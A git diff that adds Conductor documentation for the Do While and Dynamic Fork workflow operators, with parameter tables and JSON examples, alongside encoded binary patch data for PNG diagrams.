zJrI~Y;V0xfi%#MID7X4x8nD#nz9&rLfG0(=x^M$;To`s)a? z2)ct1Tf9a!*oNp&qoX%Uo9=L)Jqw6Scj^1LZ@z!J3a>y5@f9L2I0kxo_71~EM68}- zs!B?oAgDpKjG+Ei56rq~KJrkIdEQ37Y86JxvkRW-A8xr*n@X{quJ@$9p;z(@4N(I@5@O)sTic}ne_XgCpfF&NRnI}}P;A3Nd6!e9H zzX&oVGy%eEn;;B(|Ah;T5cULPA2l+$)aos2EsjkSP4Y zji`4%O-~tEhiY)M!+SC;I%0}%-cV72P#FNNLB+S)hN~$QL!pDg0TLj*)B-dsXocYB zF?88jhUx{3uV6Rw0NWMV_U*R0Ifg4VPfUEdvWlM9(6q26=Ss&t=hRSVaN*Z3i25ryY67%3ughMKIu>BQqLW{`@#0glr#kY;e!76At))3lG zRj*fX`QVpkW8ytQZXuzV#KE3iec4~khK4m%A7!uzGH)Lr*pWGh2KkUxKJmzsQ&51! zOEAmc6(0#YLJF_@0{HTCW+N><{Sy!EYOMFR-GC{)CktUFe;EQ0?9W~p>f^MT$g{M`H&Bp+}wNLyzhC> zx#xL)^RXWX&h|$>PsIb*7GrOy<}YPsxrTR@+u7O0#Ka&^$XjCu**z%*_*BS=4TcOF zy6X_#t1yMS+7m2bZP-MEazxE+sc?2A6B=?@izm=?{S7^#WBp@sX;9Xox2D^*3^tJm zo&)GO?T?0v5Mu5b?uidvQ9k2iwYDPg$=T&`=YkUxwQ!whAoz^#pYHp>;swl2apohM zuQS1|3yBL0dj}D7{*RSS@M1$nP@Ai!rZzXum@iedRej2=O2=U2d)=(5Bt(cQmMd&* zxQ$mf@8{{xwlZeDpq8Z5v^6xY6^#6jq`#{yuoX>ZVdS7@P)f{E04BtcFgyXV9>YiLXCzsK0@6+Zh{2fcB-#e;e8njp z1<7uCgqk8W)RMn9$L{EGN~7upB82?%0ciW3FVb>aZn3fU0h~iQMm$Cnzx?g`0BHyG ziKGBGRSh{CMfNAO2}~y^_hz3v2$3*e2ie5C;=jx_+;Y6ExcHCcqCxQzgKr<2n3_r? z60h3wZR3K?2VGi63QO1nzM(HIq#aA2bbFsKWgDTzzx>3E)uv@6c!BU@@nS*m^VvOK z79|S_l=>9xP>Co_r?D3{7#ksAJmcwxr3( zX>bp|3V{rwVma;eon%X;QpD=Ko?Q-Osm6)CYxMjr9#7qcR(Wqq?5RiupAQax`_+K< zoe464U4%>jeznz6TTo(64HXa(2qt>r2vH3Tm&FPl&52%-#1u>@#SN?-3MnT1)&dHq#$2}wCQ#pq4OvCvJP#eh&Bh&XBG}X+C29whIuYEnJ9(x8^5D%Jl zKYqNZ=+px8LN8m}+Z)noZcM*UY!@V|V)V;|SrqXPB8h9bUo~KlJuvQkok%I@oTTxKxW3K`&@deU=*Yd*bJ4y=p?%6z~KxR|w3y`Tn2h`?H63mFTD3kQ5REJHh z?QU0Wd6zCZ6si;heJJyUuNQTrcM^YKZgv`LfTXOgR#L#q&OVJ`i@h=Rl~_r%uWAkj zXPYfii9r=TmCJ|6#(tSp^aA?yR-j|M6hCDL6$Rp`H^27gMm((jd5i(Mk&E3Dywo zW@&u>Xnz$0ygf7{Iy$(33}Tp_FBt0U>;Gk{Tmh(`jL9nGa5%S%iVlSfhbS&2Hvu;E rE=}Az)tuNbyRG@ literal 0 HcmV?d00001 diff --git a/docs/documentation/configuration/workflowdef/operators/do-while-task.md b/docs/documentation/configuration/workflowdef/operators/do-while-task.md new file mode 100644 index 0000000..f32c5ef --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/do-while-task.md @@ -0,0 +1,368 @@ +--- +description: "Do-While Task — loop over tasks in a Conductor workflow until a condition is met, with configurable iteration limits." +--- +# Do While +```json +"type" : "DO_WHILE" +``` + +The Do While task (`DO_WHILE`) sequentially executes a list of tasks as long as a given condition is true. The sequence of tasks gets executed before the condition is checked, even for the first iteration, just like a regular _do.. while_ statement in programming. + +## Task parameters + +Use these parameters in top level of the Do While task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| loopCondition | String | The condition that is evaluated after each iteration. This is a JavaScript expression, evaluated using the Nashorn engine. When using `items` for list iteration, this is optional. | Required (for counter-based iteration).
    Optional (for list iteration). | +| loopOver | List[Task] | The list of task configurations that will be executed as long as the condition is true. | Required. | +| items | String | A workflow expression that evaluates to a list/array to iterate over (e.g., `${workflow.input.myList}`). When specified, the loop automatically iterates through each item without requiring a `loopCondition`. Loop tasks can access the current item via `${do_while_ref.output.loopItem}` and the zero-based index via `${do_while_ref.output.loopIndex}`. | Optional. | + +## Input parameters + +Use these parameters in the `inputParameters` section of the Do While task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------- | +| keepLastN | Integer | Number of most recent iterations to keep in the database and task output. Older iterations are automatically removed to prevent database bloat. When not specified, all iterations are retained (default behavior). This is useful for long-running loops with many iterations. Minimum value: 1. | Optional. | + +## JSON configuration + +Here is the task configuration for a Do While task. + +**Counter-based iteration:** +```json +{ + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "keepLastN": 10 + }, + "type": "DO_WHILE", + "loopCondition": "(function () {\n if ($.do_while_ref['iteration'] < 5) {\n return true;\n }\n return false;\n})();", + "loopOver": [ // List of tasks to be executed in the loop + { + // task configuration + }, + { + // task configuration + } + ] +} +``` + +**List iteration:** +```json +{ + "name": "do_while", + "taskReferenceName": "do_while_ref", + "type": "DO_WHILE", + "items": "${workflow.input.myList}", + "loopOver": [ + { + "name": "process_task", + "taskReferenceName": "process_ref", + "type": "SIMPLE", + "inputParameters": { + "item": "${do_while_ref.output.loopItem}", + "index": "${do_while_ref.output.loopIndex}" + } + } + ] +} +``` + +## Output + +The Do While task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| iteration | Integer | The number of iterations.

    If the Do While task is in progress, `iteration` will show the current iteration number. When completed, `iteration` will show the final number of iterations. | +| loopItem | Any | **(List iteration only)** The current item from the `items` list for this iteration. Available when using the `items` parameter. | +| loopIndex | Integer | **(List iteration only)** The zero-based index of the current item (0, 1, 2, ...). Available when using the `items` parameter. | + +In addition, a map will be created for each iteration, keyed by its iteration number (e.g., 1, 2, 3), and will contain the task outputs for all of the `loopOver` tasks. + +Furthermore, if `loopCondition` declares any parameter, it will also appear in the output. For example, `storage` will appear in the output if `loopCondition` is `if ($.LoopTask['iteration'] <= 10) {$.LoopTask.storage = 3; true } else {false}`. + +## Execution + +When a Do While loop is executed, each task in the loop will have its `taskReferenceName` concatenated with _\_\_i_, with _i_ as the iteration number starting at 1. If one of the loop tasks fails, the Do While task status will be set as FAILED, and upon retry, the iteration number will restart from 1. + +Each loop task output is stored as part of the Do While task, indexed by the iteration value, allowing `loopCondition` to reference the output of a task for a specific iteration (e.g., `$.LoopTask['iteration]['first_task']`). + + +## Iteration cleanup + +For Do While loops with many iterations (e.g., 100+ iterations), storing all iteration data can lead to database bloat, memory exhaustion, and performance degradation. The `keepLastN` input parameter provides automatic cleanup of old iterations. + +**How it works:** + +When `keepLastN` is specified in `inputParameters`, Conductor automatically removes old iteration data from both the database and the task output once the number of iterations exceeds the `keepLastN` value. For example, with `keepLastN: 5`: + +- Iterations 1-5: All iterations kept +- Iteration 6: Iteration 1 is removed, keeping iterations 2-6 +- Iteration 7: Iteration 2 is removed, keeping iterations 3-7 +- And so on... + +**Important considerations:** + +- **Opt-in behavior:** Cleanup only occurs when `keepLastN` is explicitly set. Without this parameter, all iterations are retained (default behavior). +- **Backward compatibility:** Existing workflows without `keepLastN` continue to work unchanged. +- **Output data:** Only the most recent N iterations will be available in the task output. Older iterations are permanently removed. +- **Loop condition:** Ensure your `loopCondition` only references recent iterations if using `keepLastN`, as older iteration data will not be available. +- **Best practices:** + - For loops expected to run 100+ iterations, consider setting `keepLastN` to a reasonable value (e.g., 5-10). + - Choose a `keepLastN` value that balances memory usage with your need to access historical iteration data. + - If your `loopCondition` needs to reference older iterations, ensure `keepLastN` is set high enough to retain that data. + +**Example with cleanup:** + +```json +{ + "name": "long_running_loop", + "taskReferenceName": "long_running_loop_ref", + "inputParameters": { + "keepLastN": 5 + }, + "type": "DO_WHILE", + "loopCondition": "if ($.long_running_loop_ref['iteration'] < 1000) { true; } else { false; }", + "loopOver": [ + { + "name": "process_item", + "taskReferenceName": "process_item_ref", + "type": "SIMPLE" + } + ] +} +``` + +In this example, even though the loop runs 1000 iterations, only the last 5 iterations are kept in the database and output at any given time, preventing database bloat. + +## Examples + +Here are some examples for using the Do While task. + +### List iteration (simplified approach) + +When you have a list of items to iterate over, use the `items` parameter for a simpler approach that doesn't require manual counter management. + +```json +{ + "name": "process_items", + "taskReferenceName": "process_items_ref", + "type": "DO_WHILE", + "items": "${workflow.input.itemList}", + "loopOver": [ + { + "name": "http", + "taskReferenceName": "http_ref", + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/process", + "method": "POST", + "body": { + "item": "${process_items_ref.output.loopItem}", + "index": "${process_items_ref.output.loopIndex}" + } + } + }, + "type": "HTTP" + } + ] +} +``` + +In this example: +- The loop automatically iterates through each item in `workflow.input.itemList` +- `loopItem` contains the current item (e.g., first iteration gets `itemList[0]`) +- `loopIndex` contains the zero-based index (0, 1, 2, ...) +- No `loopCondition` needed—the loop stops when all items are processed +- If the input list is empty (`[]`), the Do While task completes immediately without executing loop tasks + +**Optional condition with list iteration:** + +You can combine `items` with a `loopCondition` to add early termination logic: + +```json +{ + "name": "process_until_error", + "taskReferenceName": "process_ref", + "type": "DO_WHILE", + "items": "${workflow.input.tasks}", + "loopCondition": "$.http_ref['response']['status'] == 'success'", + "loopOver": [ + { + "name": "http", + "taskReferenceName": "http_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "${process_ref.output.loopItem.url}", + "method": "GET" + } + } + } + ] +} +``` + +This loop will stop either when all items are processed OR when the HTTP response status is not 'success'. + +### Using a basic script (counter-based iteration) + +In this example task configuration, the Do While task evaluates two criteria: + + +```json +{ + "name": "Loop", + "taskReferenceName": "LoopTask", + "type": "DO_WHILE", + "inputParameters": { + "value": "${workflow.input.value}" + }, + "loopCondition": "if ( ($.LoopTask['iteration'] < $.value ) || ( $.first_task['response']['body'] > 10)) { false; } else { true; }", + "loopOver": [ + { + "name": "firstTask", + "taskReferenceName": "first_task", + "inputParameters": { + "http_request": { + "uri": "http://localhost:8082", + "method": "POST" + } + }, + "type": "HTTP" + },{ + "name": "secondTask", + "taskReferenceName": "second_task", + "inputParameters": { + "http_request": { + "uri": "http://localhost:8082", + "method": "POST" + } + }, + "type": "HTTP" + } + ], + "startDelay": 0, + "optional": false +} +``` + +Assuming three executions occurred (`first_task__1`, `first_task__2`, `first_task__3`, +`second_task__1`, `second_task__2`, and `second_task__3`), the Do While task will return the following will produce the following output: + +```json +{ + "iteration": 3, + "1": { + "first_task": { + "response": {}, + "headers": { + "Content-Type": "application/json" + } + }, + "second_task": { + "response": {}, + "headers": { + "Content-Type": "application/json" + } + } + }, + "2": { + "first_task": { + "response": {}, + "headers": { + "Content-Type": "application/json" + } + }, + "second_task": { + "response": {}, + "headers": { + "Content-Type": "application/json" + } + } + }, + "3": { + "first_task": { + "response": {}, + "headers": { + "Content-Type": "application/json" + } + }, + "second_task": { + "response": {}, + "headers": { + "Content-Type": "application/json" + } + } + } +} +``` + +### Using the iteration key in a loop task + +Sometimes, you may want to use the Do While iteration value/counter inside your loop tasks. In this example, an API call is made to a GitHub repository to get all stargazers and each iteration increases the pagination. + +To evaluate the current iteration, the parameter `$.get_all_stars_loop_ref['iteration']` is used in `loopCondition`. In the HTTP task embedded in the loop, `${get_all_stars_loop_ref.output.iteration}` is used to define which page the API should return. + + +```json +{ + "name": "get_all_stars", + "taskReferenceName": "get_all_stars_loop_ref", + "inputParameters": { + "stargazers": "4000" + }, + "type": "DO_WHILE", + "loopCondition": "if ($.get_all_stars_loop_ref['iteration'] < Math.ceil($.stargazers/100)) { true; } else { false; }", + "loopOver": [ + { + "name": "100_stargazers", + "taskReferenceName": "hundred_stargazers_ref", + "inputParameters": { + "counter": "${get_all_stars_loop_ref.output.iteration}", + "http_request": { + "uri": "https://api.github.com/repos/ntflix/conductor/stargazers?page=${get_all_stars_loop_ref.output.iteration}&per_page=100", + "method": "GET", + "headers": { + "Authorization": "token ${workflow.input.gh_token}", + "Accept": "application/vnd.github.v3.star+json" + } + } + }, + "type": "HTTP" + } + ] +} +``` + + +## Orkes Conductor compatibility + +For compatibility with workflows migrated from Orkes Conductor, the `_items` parameter in `inputParameters` is also supported: + +```json +{ + "name": "do_while", + "taskReferenceName": "do_while_ref", + "type": "DO_WHILE", + "inputParameters": { + "_items": "${workflow.input.myList}" + }, + "loopOver": [...] +} +``` + +This behaves identically to using the `items` parameter. The `items` parameter is the recommended approach for new workflows. + +## Limitations + +There are several limitations for the Do While task: + +- **Branching**—Within a Do While task, branching using Switch, Fork/Join, Dynamic Fork tasks are supported. However, since the loop tasks will be executed within the scope of the Do While task, any branching that crosses outside its scope will not be respected. +- **Nested loops**—Nested Do While tasks are not supported. To achieve a similar functionality as a nested loop, you can use a [Sub Workflow](sub-workflow-task.md) task inside the Do While task. +- **Isolation group execution**—Isolation group execution is not supported. However, domain is supported for loop tasks inside the Do While task. diff --git a/docs/documentation/configuration/workflowdef/operators/dynamic-fork-task.md b/docs/documentation/configuration/workflowdef/operators/dynamic-fork-task.md new file mode 100644 index 0000000..382958d --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/dynamic-fork-task.md @@ -0,0 +1,439 @@ +--- +description: "Configure Dynamic Fork tasks in Conductor to run parallel branches determined at runtime. Supports different tasks per fork or the same task type." +--- + +# Dynamic Fork +```json +"type" : "FORK_JOIN_DYNAMIC" +``` + +The Dynamic Fork task (`FORK_JOIN_DYNAMIC`) is used to run tasks in parallel, with the forking behavior (such as the task type and the number of forks) determined at runtime. This contrasts with the [Fork](fork-task.md) task, where the forking behavior is defined at workflow creation. + +Like the Fork task, the Dynamic Fork task must be followed by a [Join](join-task.md) that waits on the forked tasks to finish before moving to the next task. This Join task collects the outputs from each forked tasks. + +Unlike the Fork/Join task, a Dynamic Fork task can only run one task per fork. A sub-workflow can be utilized if there is a need for multiple tasks per fork. + +There are two ways to run the Dynamic Fork task: + +- **Each fork runs a different task**—Use `dynamicForkTasksParam` and `dynamicForkTasksInputParamName`. +- **All forks run the same task**—Use `forkTaskType` and `forkTaskInputs` for any task type, or `forkTaskWorkflow` and `forkTaskInputs` for Sub Workflow tasks. + + +## Task parameters + +Use these parameters in top level of the Dynamic Fork task configuration. The input payload for the forked tasks should correspond with its expected input. For example, if the forked tasks are HTTP tasks, its input should include `http_request`. + +### For different tasks in each fork + +To configure the Dynamic Fork task, provide a `dynamicForkTasksParam` and `dynamicForkTasksInputParamName` at the top level of the task configuration, as well as the matching parameters in `inputParameters` based on the `dynamicForkTasksParam` and `dynamicForkTasksInputParamName`. + + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| dynamicForkTasksParam | String | The parameter name for `inputParameters` whose value is used to schedule the task. For example, "dynamicTasks". | Required. | +| dynamicTasks | List[Task] | The list of task configurations that will be executed across forks (one task per fork) | Required. | +| dynamicForkTasksInputParamName | String | The parameter name for `inputParameters` whose value is used to pass the required input parameters for each forked task. For example, "dynamicTasksInput". | Required. | +| dynamicTasksInput | Map[String, Map[String, Any]] | The inputs for each forked task. The keys are the task reference names for each fork and the values are the input parameters that will be passed into its corresponding task. | Required. | + +The [Join](join-task.md) task must run after the forked tasks. Add the Join task to complete the fork-join operations. + +### For the same task (any task type) + +Use these parameters inside `inputParameters` in the Dynamic Fork task configuration to execute any task type (except Sub Workflow tasks) for all forks. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| forkTaskType | String (enum) | The type of task that will be executed in each fork. For example, "HTTP", or "SIMPLE". | Required. | +| forkTaskName | String | The name of the Worker task (`SIMPLE`) that will be executed in each fork. | Required only if `forkTaskType` is "SIMPLE". | +| forkTaskInputs | List[Map[String, Any]] | The inputs for each forked task. The number of list items corresponds with the number of branches in the dynamic fork at execution. | Required. | + +The [Join](join-task.md) task must run after the forked tasks. Configure the Join task as well to complete the fork-join operations. + +### For the same subworkflow + +Use these parameters inside `inputParameters` in the Dynamic Fork task configuration to execute a [Sub Workflow](sub-workflow-task.md) task for all forks. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| forkTaskWorkflow | String | The name of the workflow that will be executed in each fork. | Required. | +| forkTaskWorkflowVersion | Integer | The version of the workflow to be executed. If unspecified, the latest version will be used. | Optional. | +| forkTaskInputs | List[Map[String, Any]] | The inputs for each forked task. The number of list items corresponds with the number of branches in the dynamic fork at execution. | Required. | + +The [Join](join-task.md) task must run after the forked tasks. Configure the Join task as well to complete the fork-join operations. + + +## JSON configuration + +This is the task configuration for a Dynamic Fork task. + +### For different tasks in each fork + +```json +{ + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref", + "inputParameters": { + "dynamicTasks": [ // name of the tasks to execute + { + "name": "http", + "taskReferenceName": "http_ref", + "type": "HTTP", + "inputParameters": {} + }, + { + // another task configuration + } + + ], + "dynamicTasksInput": { // inputs for the tasks + "taskReferenceName" : { + "key": "value", + "key": "value" + }, + "anotherTaskReferenceName" : { + "key": "value", + "key": "value" + } + } + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", // input parameter key that will hold the task names to execute + "dynamicForkTasksInputParamName": "dynamicTasksInput" // input parameter key that will hold the input parameters for each task +} +``` + +### For the same task (any task type) + +```json +{ + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref", + "inputParameters": { + "forkTaskType": "HTTP", + "forkTaskInputs": [ + { + // inputs for the first branch + }, + { + // inputs for the second branch + }, + ... + ] + }, + "type": "FORK_JOIN_DYNAMIC" +} +``` + +### For the same subworkflow + +```json +{ + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref", + "inputParameters": { + "forkTaskWorkflow": "someWorkflow", + "forkTaskWorkflowVersion": 1, + "forkTaskInputs": [ + { + // inputs for the first branch + }, + { + // inputs for the second branch + }, + ... + ] + }, + "type": "FORK_JOIN_DYNAMIC" +} +``` + + +## Examples + +Here are some examples for using the Dynamic Fork task. + +### Running different tasks + +To run a different task per fork, you must use `dynamicForkTasksParam` and `dynamicForkTasksInputParamName`. + +In this example workflow, the Dynamic Fork task spawns three forks, each running a different task (`HTTP`, `SIMPLE`, and `INLINE`). For true dynamism, you can add another task to prepare the list of tasks and inputs for the Dynamic Fork task. + +```json +{ + "name": "DynamicForkExample", + "description": "This workflow runs different tasks in a dynamic fork.", + "version": 1, + "tasks": [ + { + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref", + "inputParameters": { + "dynamicTasks": [ + { + "name": "inline", + "taskReferenceName": "task1", + "type": "INLINE", + "inputParameters": { + "expression": "(function () {\n return $.input;\n})();", + "evaluatorType": "javascript" + } + }, + { + "name": "http", + "taskReferenceName": "task2", + "type": "HTTP", + "inputParameters": {} + }, + { + "name": "task_38", + "taskReferenceName": "simple_ref", + "type": "SIMPLE" + } + ], + "dynamicTasksInput": { + "task1": { + "input": "one" + }, + "task2": { + "http_request": { + "method": "GET", + "uri": "https://randomuser.me/api/", + "connectionTimeOut": 3000, + "readTimeOut": "3000", + "accept": "application/json", + "contentType": "application/json", + "encode": true + } + }, + "task3": { + "input": { + "someKey": "someValue" + } + } + } + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput" + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "ownerEmail": "example@email.com" +} +``` + +Refer to the [Join](join-task.md) task for more details on the Join aspect of the Fork. + +### Running the same task — Worker task + +In this example workflow, a Dynamic Fork task is used to run Worker tasks (`SIMPLE`) that will resize uploaded images and store the resized images into a specified `location`. + +When using `forkTaskInputs` with `forkTaskType` (or `forkTaskWorkflow`), the `dynamicForkTasksParam` and `dynamicForkTasksInputParamName` fields are not required. + +```json +{ + "name": "image_multiple_convert_resize_fork", + "description": "Image multiple convert resize example", + "version": 1, + "tasks": [ + { + "name": "image_multiple_convert_resize_dynamic_task", + "taskReferenceName": "image_multiple_convert_resize_dynamic_task_ref", + "inputParameters": { + "forkTaskName": "fork_task", + "forkTaskType": "SIMPLE", + "forkTaskInputs": [ + { + "image" : "url1", + "location" : "location_url", + "width" : 100, + "height" : 200 + }, + { + "image" : "url2", + "location" : "location_url", + "width" : 300, + "height" : 400 + } + ] + }, + "type": "FORK_JOIN_DYNAMIC" + }, + { + "name": "image_multiple_convert_resize_join", + "taskReferenceName": "image_multiple_convert_resize_join_ref", + "inputParameters": {}, + "type": "JOIN" + } + ], + "inputParameters": [], + "outputParameters": { + "output": "${join_task_ref.output}" + }, + "schemaVersion": 2, + "ownerEmail": "example@email.com" +} +``` + +Refer to the [Join](join-task.md) task for more details on the Join aspect of the Fork. + + +### Running the same task — HTTP task + +In this example workflow, the Dynamic Fork task runs HTTP tasks in parallel. The provided input in `forkTaskInputs` contains the typical payload expected in a HTTP task. + +```json +{ + "name": "dynamic_workflow_array_http", + "description": "Dynamic workflow array - run HTTP tasks", + "version": 1, + "tasks": [ + { + "name": "dynamic_workflow_array_http", + "taskReferenceName": "dynamic_workflow_array_http_ref", + "inputParameters": { + "forkTaskType": "HTTP", + "forkTaskInputs": [ + { + "http_request": { + "method": "GET", + "uri": "https://randomuser.me/api/" + } + }, + { + "http_request": { + "method": "GET", + "uri": "https://randomuser.me/api/" + } + } + ] + }, + "type": "FORK_JOIN_DYNAMIC" + }, + { + "name": "dynamic_workflow_array_http_join", + "taskReferenceName": "dynamic_workflow_array_http_join_ref", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "ownerEmail": "example@email.com" +} +``` + +Refer to the [Join](join-task.md) task for more details on the Join aspect of the Fork. + + +### Running the same task — Simplified configuration + +When using `forkTaskInputs`, you can use a simplified configuration without `dynamicForkTasksParam` and `dynamicForkTasksInputParamName`. This approach uses `forkTaskName` to specify the task type directly. + +```json +{ + "name": "dynamic_fork_simple", + "description": "Dynamic fork with simplified configuration", + "version": 1, + "tasks": [ + { + "name": "dynamic_fork_http", + "taskReferenceName": "dynamic_fork_http_ref", + "inputParameters": { + "forkTaskName": "HTTP", + "forkTaskInputs": [ + { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + } + ] + }, + "type": "FORK_JOIN_DYNAMIC" + }, + { + "name": "dynamic_fork_http_join", + "taskReferenceName": "dynamic_fork_http_join_ref", + "inputParameters": {}, + "type": "JOIN" + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "ownerEmail": "example@email.com" +} +``` + +Refer to the [Join](join-task.md) task for more details on the Join aspect of the Fork. + + +### Running the same task — Sub Workflow task + + +In this example workflow, the dynamic fork runs Sub Workflow tasks in parallel. Each sub-workflow will resize the image and store the resized image into a specified `location`. + +```json +{ + "name": "image_multiple_convert_resize_fork_subwf", + "description": "Image multiple convert resize example", + "version": 1, + "tasks": [ + { + "name": "image_multiple_convert_resize_dynamic_task_subworkflow", + "taskReferenceName": "image_multiple_convert_resize_dynamic_task_subworkflow_ref", + "inputParameters": { + "forkTaskWorkflow": "image_resize_subworkflow", + "forkTaskInputs": [ + { + "image": "url1", + "location": "location url", + "width": 100, + "height": 200 + }, + { + "image": "url2", + "location": "locationurl", + "width": 300, + "height": 400 + } + ] + }, + "type": "FORK_JOIN_DYNAMIC" + }, + { + "name": "dynamic_workflow_array_http_subworkflow", + "taskReferenceName": "dynamic_workflow_array_http_subworkflow_ref", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "ownerEmail": "example@email.com" +} +``` + +Refer to the [Join](join-task.md) task for more details on the Join aspect of the Fork. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/dynamic-task-diagram.png b/docs/documentation/configuration/workflowdef/operators/dynamic-task-diagram.png new file mode 100644 index 0000000000000000000000000000000000000000..3d928c0033896b73080f6d9c79f7a049640b43f8 GIT binary patch literal 29538 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 